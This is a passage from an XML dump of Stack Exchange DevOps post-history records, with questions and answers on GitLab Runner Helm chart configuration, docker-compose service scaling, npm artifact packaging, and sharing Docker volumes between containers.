denied: access forbidden&#xD;&#xA;&#xD;&#xA;To be more specific, I am using [gitlab-runner helm chart][1] and this the config of the chart:&#xD;&#xA;&#xD;&#xA;    ## GitLab Runner Image&#xD;&#xA;    ##&#xD;&#xA;    ## By default it's using gitlab/gitlab-runner:alpine-v{VERSION}&#xD;&#xA;    ## where {VERSION} is taken from Chart.yaml from appVersion field&#xD;&#xA;    ##&#xD;&#xA;    ## ref: https://hub.docker.com/r/gitlab/gitlab-runner/tags/&#xD;&#xA;    ##&#xD;&#xA;    # image: gitlab/gitlab-runner:alpine-v11.6.0&#xD;&#xA;    &#xD;&#xA;    ## Specify a imagePullPolicy&#xD;&#xA;    ## 'Always' if imageTag is 'latest', else set to 'IfNotPresent'&#xD;&#xA;    ## ref: http://kubernetes.io/docs/user-guide/images/#pre-pulling-images&#xD;&#xA;    ##&#xD;&#xA;    imagePullPolicy: IfNotPresent&#xD;&#xA;    &#xD;&#xA;    ## The GitLab Server URL (with protocol) that want to register the runner against&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-register&#xD;&#xA;    ##&#xD;&#xA;    gitlabUrl: https://gitlab.com/&#xD;&#xA;    &#xD;&#xA;    ## The Registration Token for adding new Runners to the GitLab Server. This must&#xD;&#xA;    ## be retrieved from your GitLab Instance.&#xD;&#xA;    ## ref: https://docs.gitlab.com/ce/ci/runners/README.html#creating-and-registering-a-runner&#xD;&#xA;    ##&#xD;&#xA;    runnerRegistrationToken: &quot;&lt;token&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    ## The Runner Token for adding new Runners to the GitLab Server. This must&#xD;&#xA;    ## be retrieved from your GitLab Instance. It is token of already registered runner.&#xD;&#xA;    ## ref: (we don't yet have docs for that, but we want to use existing token)&#xD;&#xA;    ##&#xD;&#xA;    # runnerToken: &quot;&quot;&#xD;&#xA;    #&#xD;&#xA;    ## Unregister all runners before termination&#xD;&#xA;    ##&#xD;&#xA;    ## Updating the runner's chart version or configuration will cause the runner container&#xD;&#xA;    ## to be terminated and created again. This may cause your Gitlab instance to reference&#xD;&#xA;    ## non-existant runners. Un-registering the runner before termination mitigates this issue.&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-unregister&#xD;&#xA;    ##&#xD;&#xA;    unregisterRunners: true&#xD;&#xA;    &#xD;&#xA;    ## Set the certsSecretName in order to pass custom certficates for GitLab Runner to use&#xD;&#xA;    ## Provide resource name for a Kubernetes Secret Object in the same namespace,&#xD;&#xA;    ## this is used to populate the /etc/gitlab-runner/certs directory&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/tls-self-signed.html#supported-options-for-self-signed-certificates&#xD;&#xA;    ##&#xD;&#xA;    # certsSecretName:&#xD;&#xA;    &#xD;&#xA;    ## Configure the maximum number of concurrent jobs&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    concurrent: 10&#xD;&#xA;    &#xD;&#xA;    ## Defines in seconds how often to check GitLab for a new builds&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    checkInterval: 30&#xD;&#xA;    &#xD;&#xA;    ## Configure GitLab Runner's logging level. Available values are: debug, info, warn, error, fatal, panic&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    # logLevel:&#xD;&#xA;    &#xD;&#xA;    ## For RBAC support:&#xD;&#xA;    rbac:&#xD;&#xA;      create: true&#xD;&#xA;    &#xD;&#xA;      ## Run the gitlab-bastion container with the ability to deploy/manage containers of jobs&#xD;&#xA;      ## cluster-wide or only within namespace&#xD;&#xA;      clusterWideAccess: true&#xD;&#xA;    &#xD;&#xA;      ## Use the following Kubernetes Service Account name if RBAC is disabled in this Helm chart (see rbac.create)&#xD;&#xA;      ##&#xD;&#xA;      serviceAccountName: default&#xD;&#xA;    &#xD;&#xA;    ## Configure integrated Prometheus metrics exporter&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/monitoring/#configuration-of-the-metrics-http-server&#xD;&#xA;    metrics:&#xD;&#xA;      enabled: true&#xD;&#xA;    &#xD;&#xA;    ## Configuration for the Pods that that the runner launches for each new job&#xD;&#xA;    ##&#xD;&#xA;    runners:&#xD;&#xA;      ## Default container image to use for builds when none is specified&#xD;&#xA;      ##&#xD;&#xA;      image: ubuntu:16.04&#xD;&#xA;    &#xD;&#xA;      ## Specify one or more imagePullSecrets&#xD;&#xA;      ##&#xD;&#xA;      ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&#xD;&#xA;      ##&#xD;&#xA;      imagePullSecrets: [&quot;namespace-1&quot;, &quot;namespace-2&quot;, &quot;default&quot;]&#xD;&#xA;    &#xD;&#xA;      ## Specify the image pull policy: never, if-not-present, always. The cluster default will be used if not set.&#xD;&#xA;      ##&#xD;&#xA;      # imagePullPolicy: &quot;&quot;&#xD;&#xA;    &#xD;&#xA;      ## Specify whether the runner should be locked to a specific project: true, false. Defaults to true.&#xD;&#xA;      ##&#xD;&#xA;      # locked: true&#xD;&#xA;    &#xD;&#xA;      ## Specify the tags associated with the runner. Comma-separated list of tags.&#xD;&#xA;      ##&#xD;&#xA;      ## ref: https://docs.gitlab.com/ce/ci/runners/#using-tags&#xD;&#xA;      ##&#xD;&#xA;      tags: my-tag-1, my-tag-2&quot;&#xD;&#xA;    &#xD;&#xA;      ## Run all containers with the privileged flag enabled&#xD;&#xA;      ## This will allow the docker:dind image to run if you need to run Docker&#xD;&#xA;      ## commands. Please read the docs before turning this on:&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/executors/kubernetes.html#using-docker-dind&#xD;&#xA;      ##&#xD;&#xA;      privileged: true&#xD;&#xA;    &#xD;&#xA;      ## The name of the secret containing runner-token and runner-registration-token&#xD;&#xA;      # secret: gitlab-runner&#xD;&#xA;    &#xD;&#xA;      ## Namespace to run Kubernetes jobs in (defaults to the same namespace of this release)&#xD;&#xA;      ##&#xD;&#xA;      # namespace:&#xD;&#xA;    &#xD;&#xA;      # Regular expression to validate the contents of the namespace overwrite environment variable (documented following).&#xD;&#xA;      # When empty, it disables the namespace overwrite feature&#xD;&#xA;      namespace_overwrite_allowed: overrided-namespace-*&#xD;&#xA;    &#xD;&#xA;      ## Distributed runners caching&#xD;&#xA;      ## ref: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/autoscale.md#distributed-runners-caching&#xD;&#xA;      ##&#xD;&#xA;      ## If you want to use s3 based distributing caching:&#xD;&#xA;      ## First of all you need to uncomment General settings and S3 settings sections.&#xD;&#xA;      ##&#xD;&#xA;      ## Create a secret 's3access' containing 'accesskey' &amp; 'secretkey'&#xD;&#xA;      ## ref: https://aws.amazon.com/blogs/security/wheres-my-secret-access-key/&#xD;&#xA;      ##&#xD;&#xA;      ## $ kubectl create secret generic s3access \&#xD;&#xA;      ##   --from-literal=accesskey=&quot;YourAccessKey&quot; \&#xD;&#xA;      ##   --from-literal=secretkey=&quot;YourSecretKey&quot;&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      ##&#xD;&#xA;      ## If you want to use gcs based distributing caching:&#xD;&#xA;      ## First of all you need to uncomment General settings and GCS settings sections.&#xD;&#xA;      ##&#xD;&#xA;      ## Access using credentials file:&#xD;&#xA;      ## Create a secret 'google-application-credentials' containing your application credentials file.&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-cache-gcs-section&#xD;&#xA;      ## You could configure&#xD;&#xA;      ## $ kubectl create secret generic google-application-credentials \&#xD;&#xA;      ##   --from-file=gcs-applicaton-credentials-file=./path-to-your-google-application-credentials-file.json&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      ##&#xD;&#xA;      ## Access using access-id and private-key:&#xD;&#xA;      ## Create a secret 'gcsaccess' containing 'gcs-access-id' &amp; 'gcs-private-key'.&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-cache-gcs-section&#xD;&#xA;      ## You could configure&#xD;&#xA;      ## $ kubectl create secret generic gcsaccess \&#xD;&#xA;      ##   --from-literal=gcs-access-id=&quot;YourAccessID&quot; \&#xD;&#xA;      ##   --from-literal=gcs-private-key=&quot;YourPrivateKey&quot;&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      cache: {}&#xD;&#xA;        ## General settings&#xD;&#xA;        # cacheType: s3&#xD;&#xA;        # cachePath: &quot;cache&quot;&#xD;&#xA;        # cacheShared: true&#xD;&#xA;    &#xD;&#xA;        ## S3 settings&#xD;&#xA;        # s3ServerAddress: s3.amazonaws.com&#xD;&#xA;        # s3BucketName:&#xD;&#xA;        # s3BucketLocation:&#xD;&#xA;        # s3CacheInsecure: false&#xD;&#xA;        # secretName: s3access&#xD;&#xA;    &#xD;&#xA;        ## GCS settings&#xD;&#xA;        # gcsBucketName:&#xD;&#xA;        ## Use this line for access using access-id and private-key&#xD;&#xA;        # secretName: gcsaccess&#xD;&#xA;        ## Use this line for access using google-application-credentials file&#xD;&#xA;        # secretName: google-application-credential&#xD;&#xA;    &#xD;&#xA;      ## Build Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      builds:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;    &#xD;&#xA;      ## Service Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      services:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;    &#xD;&#xA;      ## Helper Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      helpers:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;        image: gitlab/gitlab-runner-helper:x86_64-latest&#xD;&#xA;    &#xD;&#xA;      ## Service Account to be used for runners&#xD;&#xA;      ##&#xD;&#xA;      # serviceAccountName:&#xD;&#xA;    &#xD;&#xA;      ## If Gitlab is not reachable through $CI_SERVER_URL&#xD;&#xA;      ##&#xD;&#xA;      # cloneUrl:&#xD;&#xA;    &#xD;&#xA;      ## Specify node labels for CI job pods assignment&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/&#xD;&#xA;      ##&#xD;&#xA;      nodeSelector: {}&#xD;&#xA;        # gitlab: true&#xD;&#xA;    &#xD;&#xA;    ## Configure resource requests and limits&#xD;&#xA;    ## ref: http://kubernetes.io/docs/user-guide/compute-resources/&#xD;&#xA;    ##&#xD;&#xA;    resources:&#xD;&#xA;      # limits:&#xD;&#xA;      #   memory: 256Mi&#xD;&#xA;      #   cpu: 200m&#xD;&#xA;      requests:&#xD;&#xA;        memory: 128Mi&#xD;&#xA;        cpu: 100m&#xD;&#xA;    &#xD;&#xA;    ## Affinity for pod assignment&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#affinity-and-anti-affinity&#xD;&#xA;    ##&#xD;&#xA;    affinity: {}&#xD;&#xA;    &#xD;&#xA;    ## Node labels for pod assignment&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/user-guide/node-selection/&#xD;&#xA;    ##&#xD;&#xA;    nodeSelector: {}&#xD;&#xA;      # Example: The gitlab runner manager should not run on spot instances so you can assign&#xD;&#xA;      # them to the regular worker nodes only.&#xD;&#xA;      # node-role.kubernetes.io/worker: &quot;true&quot;&#xD;&#xA;    &#xD;&#xA;    ## List of node taints to tolerate (requires Kubernetes &gt;= 1.6)&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/&#xD;&#xA;    ##&#xD;&#xA;    tolerations: []&#xD;&#xA;      # Example: Regular worker nodes may have a taint, thus you need to tolerate the taint&#xD;&#xA;      # when you assign the gitlab runner manager with nodeSelector or affinity to the nodes.&#xD;&#xA;      # - key: &quot;node-role.kubernetes.io/worker&quot;&#xD;&#xA;      #   operator: &quot;Exists&quot;&#xD;&#xA;    &#xD;&#xA;    ## Configure environment variables that will be present when the registration command runs&#xD;&#xA;    ## This provides further control over the registration process and the config.toml file&#xD;&#xA;    ## ref: `gitlab-runner register --help`&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html&#xD;&#xA;    ##&#xD;&#xA;    envVars:&#xD;&#xA;      - name: RUNNER_EXECUTOR&#xD;&#xA;        value: kubernetes&#xD;&#xA;&#xD;&#xA;As you can see, I created a **secret** on my ci job, no error occurred here too. In my chart, I declare this same secret (by his name) in `values.yaml` file, which allow `deployment.yaml` to use it.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/install/kubernetes/gitlab_runner_chart.html#configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="31286" PostHistoryTypeId="10" PostId="6224" RevisionGUID="91797a27-08fe-4612-ae86-7367b3b795b6" CreationDate="2019-12-24T18:57:00.407" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31287" PostHistoryTypeId="2" PostId="10286" RevisionGUID="36c71cfb-9cec-49b0-98b3-8e94c0026168" CreationDate="2019-12-24T18:59:44.123" UserId="210" Text="According to [mrampant-nist on github](https://github.com/docker/compose/issues/5586#issuecomment-475250276) one could use `--compatibility`" ContentLicense="CC BY-SA 4.0" />
  <row Id="31288" PostHistoryTypeId="5" PostId="10286" RevisionGUID="0bec65b7-4652-4fca-8bec-2e8f365ac3be" CreationDate="2019-12-24T19:05:43.123" UserId="210" Comment="added 1443 characters in body" Text="According to [mrampant-nist on github](https://github.com/docker/compose/issues/5586#issuecomment-475250276) one could use `--compatibility`.&#xD;&#xA;&#xD;&#xA;However, it does not seem to be necessary. Consider the following docker-compose.yml:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;        nginx:&#xD;&#xA;            image: nginx&#xD;&#xA;&#xD;&#xA;and issuing:&#xD;&#xA;&#xD;&#xA;    docker-compose up --scale nginx=3&#xD;&#xA;&#xD;&#xA;seems to start 3 nginx containers:&#xD;&#xA;&#xD;&#xA;    user@host:/tmp/6233$ docker-compose up --scale nginx=3&#xD;&#xA;    Creating network &quot;6233_default&quot; with the default driver&#xD;&#xA;    Pulling nginx (nginx:)...&#xD;&#xA;    latest: Pulling from library/nginx&#xD;&#xA;    000eee12ec04: Pull complete&#xD;&#xA;    eb22865337de: Pull complete&#xD;&#xA;    bee5d581ef8b: Pull complete&#xD;&#xA;    Digest: sha256:50cf965a6e08ec5784009d0fccb380fc479826b6e0e65684d9879170a9df8566&#xD;&#xA;    Status: Downloaded newer image for nginx:latest&#xD;&#xA;    Creating 6233_nginx_1 ... done&#xD;&#xA;    Creating 6233_nginx_2 ... done&#xD;&#xA;    Creating 6233_nginx_3 ... done&#xD;&#xA;    Attaching to 6233_nginx_3, 6233_nginx_1, 6233_nginx_2&#xD;&#xA;&#xD;&#xA;docker ps:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    98ddd9e35da5        nginx               &quot;nginx -g 'daemon of…&quot;   29 seconds ago      Up 26 seconds       80/tcp              6233_nginx_3&#xD;&#xA;    2628252dfc99        nginx               &quot;nginx -g 'daemon of…&quot;   29 seconds ago      Up 26 seconds       80/tcp              6233_nginx_1&#xD;&#xA;    194c782cb9bd        nginx               &quot;nginx -g 'daemon of…&quot;   29 seconds ago      Up 25 seconds       80/tcp              6233_nginx_2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31292" PostHistoryTypeId="5" PostId="10286" RevisionGUID="92e590ed-3d2a-42ba-8127-014ed52beb4c" CreationDate="2019-12-24T19:19:39.710" UserId="210" Comment="added 1443 characters in body" Text="[@decoomanj on github][1] indicated that `scale` has to be replaced by `deploy` in conjunction with `replicas`. &#xD;&#xA;&#xD;&#xA;According to [mrampant-nist on github](https://github.com/docker/compose/issues/5586#issuecomment-475250276) one has to use `--compatibility` as well.&#xD;&#xA;&#xD;&#xA;Let's test this. First of all all docker-compose.yml is needed:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;        nginx:&#xD;&#xA;          image: nginx&#xD;&#xA;          scale: 6&#xD;&#xA;&#xD;&#xA;and issuing:&#xD;&#xA;&#xD;&#xA;    docker-compose up&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    ERROR: The Compose file './docker-compose.yml' is invalid because:&#xD;&#xA;    Unsupported config option for services.nginx: 'scale'&#xD;&#xA;&#xD;&#xA;Applying @decoomanj's suggestion, i.e. replacing replicas:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;        nginx:&#xD;&#xA;          image: nginx&#xD;&#xA;          deploy:&#xD;&#xA;            replicas: 6&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    WARNING: Some services (nginx) use the 'deploy' key, which will be ignored. Compose does not support 'deploy' configuration - use `docker stack deploy` to deploy to a swarm.&#xD;&#xA;&#xD;&#xA;Running `docker-compose --compatibility up` starts 6 services:&#xD;&#xA;&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    f19aa54634d7        nginx               &quot;nginx -g 'daemon of…&quot;   5 seconds ago       Up 4 seconds        80/tcp              6233_nginx_5&#xD;&#xA;    749cff4ac1c3        nginx               &quot;nginx -g 'daemon of…&quot;   5 seconds ago       Up 3 seconds        80/tcp              6233_nginx_3&#xD;&#xA;    b86ed7b217fe        nginx               &quot;nginx -g 'daemon of…&quot;   5 seconds ago       Up 1 second         80/tcp              6233_nginx_6&#xD;&#xA;    0b92e5ef4a0e        nginx               &quot;nginx -g 'daemon of…&quot;   5 seconds ago       Up 2 seconds        80/tcp              6233_nginx_2&#xD;&#xA;    e414bca52b53        nginx               &quot;nginx -g 'daemon of…&quot;   5 seconds ago       Up 4 seconds        80/tcp              6233_nginx_4&#xD;&#xA;    e9f33dc634a8        nginx               &quot;nginx -g 'daemon of…&quot;   6 seconds ago       Up 5 seconds        80/tcp              6233_nginx_1&#xD;&#xA;&#xD;&#xA;In conclusion, `replicas` has to be replaced by `deploy` and `replicas` and `--compatibility` is needed to solve the issue. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/compose/issues/5586#issuecomment-375580132" ContentLicense="CC BY-SA 4.0" />
  <row Id="31293" PostHistoryTypeId="6" PostId="6166" RevisionGUID="9c48d9d8-1e08-4055-a3a0-82e8d343212e" CreationDate="2019-12-24T19:38:03.073" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;azure&gt;&lt;virtual-kubelet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31294" PostHistoryTypeId="2" PostId="10288" RevisionGUID="622d0968-8686-4698-9813-ec867711616a" CreationDate="2019-12-24T19:38:59.477" UserId="210" Text="Website: https://github.com/virtual-kubelet/virtual-kubelet" ContentLicense="CC BY-SA 4.0" />
  <row Id="31295" PostHistoryTypeId="1" PostId="10288" RevisionGUID="622d0968-8686-4698-9813-ec867711616a" CreationDate="2019-12-24T19:38:59.477" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31296" PostHistoryTypeId="2" PostId="10289" RevisionGUID="f4b6a47e-0f55-4c90-b4a8-54ea2b1c47a1" CreationDate="2019-12-24T19:38:59.477" UserId="210" Text="Use this tag if a question is about virtual-kubelet" ContentLicense="CC BY-SA 4.0" />
  <row Id="31297" PostHistoryTypeId="1" PostId="10289" RevisionGUID="f4b6a47e-0f55-4c90-b4a8-54ea2b1c47a1" CreationDate="2019-12-24T19:38:59.477" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31298" PostHistoryTypeId="2" PostId="10290" RevisionGUID="b9824d47-f81f-4ad7-8468-99463d267fba" CreationDate="2019-12-24T19:43:10.283" UserId="210" Text="You could issue an `npm pack` which will create a tgz and then you could push it to an artifact manager like Nexus3. By doing this one uses the same approach as creating artifacts in Java like JARs and WARs. If you ensure that the artifacts cannot be overwritten, you specify a version and restrict publication to an artifact manager by the CI like jenkins then the artifacts are immutable and you are in control. E.g. if there is a bug in version X you could revert it to the previous version that was working well.&#xD;&#xA;&#xD;&#xA;Note: if you are planning to use `npm pack` I would suggest to use an abbreviation like `@angular` does to ensure that there is a clear destinction between artifacts that were created by your company and libraries from npmjs.org. This could be done by adding an abbrevation of your company like `@z` to the package name. A name could look like: `@z/some-package`." ContentLicense="CC BY-SA 4.0" />
  <row Id="31299" PostHistoryTypeId="6" PostId="6337" RevisionGUID="0dce485c-37da-4b24-a4eb-1ae8597ec358" CreationDate="2019-12-24T19:43:20.407" UserId="210" Comment="edited tags" Text="&lt;cicd&gt;&lt;github&gt;&lt;node.js&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31300" PostHistoryTypeId="10" PostId="5557" RevisionGUID="72c3e81e-abee-47fe-a6af-b0614c482179" CreationDate="2019-12-24T19:46:30.953" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31301" PostHistoryTypeId="10" PostId="6355" RevisionGUID="cfb9baa6-ba53-4271-afbb-cc571db6cb8d" CreationDate="2019-12-24T19:50:35.307" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31302" PostHistoryTypeId="2" PostId="10291" RevisionGUID="a8a809af-af46-4ff4-afff-aed769a60d3b" CreationDate="2019-12-24T19:53:12.480" UserId="6" Text="Recently Kubernetes started preview work on https://cluster-api.sigs.k8s.io which is meant to be the standard way to solve the way how High Availability clusters are deployed.&#xD;&#xA;&#xD;&#xA;The `kubeadm` tool has also been updated with features to deploy multiple masters since this question was first asked, which help tremendously. With the exception of deploying cloud-specific configuration, the documentation for `kubeadm` configuration YAML file brings you quite the way towards having a properly deployed cluster.&#xD;&#xA;&#xD;&#xA;docs for `kubeadm`: https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31303" PostHistoryTypeId="6" PostId="6410" RevisionGUID="efe6cdfe-f604-461e-aab8-7d9bf1abe1a9" CreationDate="2019-12-24T19:59:35.647" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31304" PostHistoryTypeId="10" PostId="6410" RevisionGUID="af426c55-38e1-4a50-aee6-5ff4eb525316" CreationDate="2019-12-24T20:01:45.137" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[6526],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31305" PostHistoryTypeId="10" PostId="6624" RevisionGUID="96507d87-5e37-4306-8e2b-482651454717" CreationDate="2019-12-24T20:03:39.303" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31306" PostHistoryTypeId="10" PostId="6682" RevisionGUID="f6a8f35c-0b7d-4434-b95f-0c317d190fb5" CreationDate="2019-12-24T20:07:37.957" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31307" PostHistoryTypeId="6" PostId="6682" RevisionGUID="e7a4dcac-a3e8-44f7-bdaf-40da9e5a343e" CreationDate="2019-12-24T20:07:47.537" UserId="210" Comment="edited tags" Text="&lt;cicd&gt;&lt;github&gt;&lt;chocolatey&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31308" PostHistoryTypeId="2" PostId="10292" RevisionGUID="7e302940-0a2e-45ce-8ce3-73be6b353f50" CreationDate="2019-12-24T20:08:15.180" UserId="210" Text="Chocolatey is a package manager for Windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="31309" PostHistoryTypeId="1" PostId="10292" RevisionGUID="7e302940-0a2e-45ce-8ce3-73be6b353f50" CreationDate="2019-12-24T20:08:15.180" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31310" PostHistoryTypeId="2" PostId="10293" RevisionGUID="f9921b77-9174-49bc-9f05-c410625ea8e6" CreationDate="2019-12-24T20:08:15.180" UserId="210" Text="Use this tag if a question if about chocolatey" ContentLicense="CC BY-SA 4.0" />
  <row Id="31311" PostHistoryTypeId="1" PostId="10293" RevisionGUID="f9921b77-9174-49bc-9f05-c410625ea8e6" CreationDate="2019-12-24T20:08:15.180" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31312" PostHistoryTypeId="2" PostId="10294" RevisionGUID="339ef5d9-d892-4378-b5a2-50bb7ae56f4a" CreationDate="2019-12-24T20:15:20.103" UserId="210" Text="Back in the day I attended a meetup and they had a Mac Mini for testing Apple related stuff.&#xD;&#xA;&#xD;&#xA;At my previous job we had docker images and these were run on Linux, Mac and Windows. The Windows docker environments were less stable, but it worked well on Linux and Mac. All developers were using a Mac and they used docker on a daily basis.&#xD;&#xA;&#xD;&#xA;In conclusion, from a cost and DevOps perspective I would prefer using docker over using a Mac Mini as the mac mini will not be used in production will the same docker image should be used in dev, test, acc and prod (DTAP). " ContentLicense="CC BY-SA 4.0" />
  <row Id="31313" PostHistoryTypeId="6" PostId="6541" RevisionGUID="b78dc400-d71d-431f-a69a-8a7ff40b81b8" CreationDate="2019-12-24T20:15:27.123" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;containers&gt;&lt;testing&gt;&lt;virtualization&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31314" PostHistoryTypeId="6" PostId="6852" RevisionGUID="48d1d229-677c-4250-8a92-3aeded134095" CreationDate="2019-12-24T20:32:26.070" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31315" PostHistoryTypeId="5" PostId="6852" RevisionGUID="48d1d229-677c-4250-8a92-3aeded134095" CreationDate="2019-12-24T20:32:26.070" UserId="210" Comment="edited tags" Text="I've two containers : **nginx** &amp; **angular**. The **angular** container contains the code and is automatically pulled from the registry when there is a new version (with watchtower).&#xD;&#xA;&#xD;&#xA;I set up a Shared Volume between **angular** &amp; **nginx** to share the code from **angular** to **nginx**.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  ### Angular #########################################&#xD;&#xA;  angular:&#xD;&#xA;    image: registry.gitlab.com/***/***:staging&#xD;&#xA;    networks:&#xD;&#xA;      - frontend&#xD;&#xA;      - backend&#xD;&#xA;    volumes:&#xD;&#xA;      - client:/var/www/client&#xD;&#xA;&#xD;&#xA;  ### NGINX Server #########################################&#xD;&#xA;  nginx:&#xD;&#xA;    image: registry.gitlab.com/***/***/***:staging&#xD;&#xA;    volumes:&#xD;&#xA;      - client:/var/www/client&#xD;&#xA;    depends_on:&#xD;&#xA;      - angular&#xD;&#xA;    networks:&#xD;&#xA;      - frontend&#xD;&#xA;      - backend&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  client:&#xD;&#xA;networks:&#xD;&#xA;  backend:&#xD;&#xA;  frontend:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I build &amp; run for the first time the environment, everything works.&#xD;&#xA;The problem is when there is a new version of the **client**, the image is pulled, the container is re-built and the new code version is inside the **angular** container, but in the **nginx** container it still the old code version of the **client**.&#xD;&#xA;&#xD;&#xA;The shared volumes does not let me do what i want because we can not specify who is the host, is it possible to mount a volumes from a container to an other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31316" PostHistoryTypeId="2" PostId="10295" RevisionGUID="65126975-69bc-430b-9297-ac823dff7c08" CreationDate="2019-12-24T20:39:05.550" UserId="210" Text="You could use `named volumes`, see https://docs.docker.com/compose/compose-file/ instead of `bind mounts` like you are doing in the example. The difference is that the `named volume` is a docker volume that could be found by issuing `docker volumes ls` and remove by issuing `docker-compose down -v`. The bind volume starts with a dot, e.g. `./some/mount` and is a directory on the file system. &#xD;&#xA;&#xD;&#xA;The named volume could be used to share information between two containers.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31317" PostHistoryTypeId="2" PostId="10296" RevisionGUID="445818c1-2f87-4940-a967-d2e77aca8a7d" CreationDate="2019-12-24T21:14:54.407" UserId="7730" Text="**The Problem**: Named volumes are initialized on container creation when the volume is empty, and from the first container that starts up using that volume. That initialization includes all files, directories, and file metadata like owners and permissions. If there is content in the named volume, docker will not initialize it again since that would defeat the purpose of persistence.&#xD;&#xA;&#xD;&#xA;**Option A**: When you have multiple containers sharing a volume to share updated build time content like you have, my first suggestion is to modify the build to place the relevant data in each image. Depending on what is being shared and between what images, you may be able to use shared image layers to avoid ever needing to copy the data.&#xD;&#xA;&#xD;&#xA;**Option B**: When 